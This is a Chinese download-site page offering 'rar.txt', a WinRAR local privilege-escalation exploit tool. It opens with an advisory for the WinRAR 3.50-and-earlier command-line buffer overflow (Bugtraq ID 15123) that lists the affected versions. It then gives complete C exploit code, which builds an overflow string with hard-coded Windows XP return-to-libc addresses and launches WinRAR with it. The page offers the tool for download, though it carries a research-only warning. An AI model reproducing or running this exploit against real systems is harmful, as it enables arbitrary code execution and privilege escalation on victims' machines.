⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 rar.txt

📁 RAR本地提升权限漏洞利用工具,WinRar对命令行的处理存在溢出漏洞
💻 TXT
字号:
RAR本地提升权限漏洞利用工具

RARLAB WinRAR命令行处理溢出漏洞


受影响系统:
RARLAB WinRar 3.50
RARLAB WinRar 3.42
RARLAB WinRar 3.41
RARLAB WinRar 3.40
RARLAB WinRar 3.20
RARLAB WinRar 3.11
RARLAB WinRar 3.10 beta 5
RARLAB WinRar 3.10 beta 3
RARLAB WinRar 3.10
RARLAB WinRar 3.0.0
RARLAB WinRar 3.0
RARLAB WinRar 2.90
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 15123

WinRar是非常流行的压缩/解压工具。

WinRar对命令行的处理存在溢出漏洞,攻击者可能利用这个漏洞远程执行任意代码。

由于在将用户提供的字符串拷贝到静态进程缓冲区之前没有正确的验证其长度,RARLAB WinRAR在处理命令行时存在远程客户端溢出漏洞。


测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#include <stdio.h>
#include <string.h>
#include <windows.h>

int main ( int argc, char *argv[] )
{
   long sys_addr  = 0x77C18044; // winxp sp0 targets...
   long exit_addr = 0x77C27ADC;
   long cmd_addr  = 0x77C01335;

   char buf[3000];
   char cmd[3000];
   
   if ( argc < 2 )
   {
   printf("\n * 0xLeTzDanCe - WinRAR <= 3.50 local exploit ENG version  *\n * * \
usage: 0xletzdance.exe <path_to_RAR>\n\n");  exit(0);
   }

   memset(buf, 0x00, 3000);
   memset(cmd, 0x00, 3000);

   memset(buf, 0x55, 516);

   *(long*)&buf[strlen(buf)]  = sys_addr;
   *(long *)&buf[strlen(buf)] = exit_addr;
   *(long *)&buf[strlen(buf)] = cmd_addr;

   sprintf(cmd, "%s %s", argv[1], buf);
   system(cmd);

}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -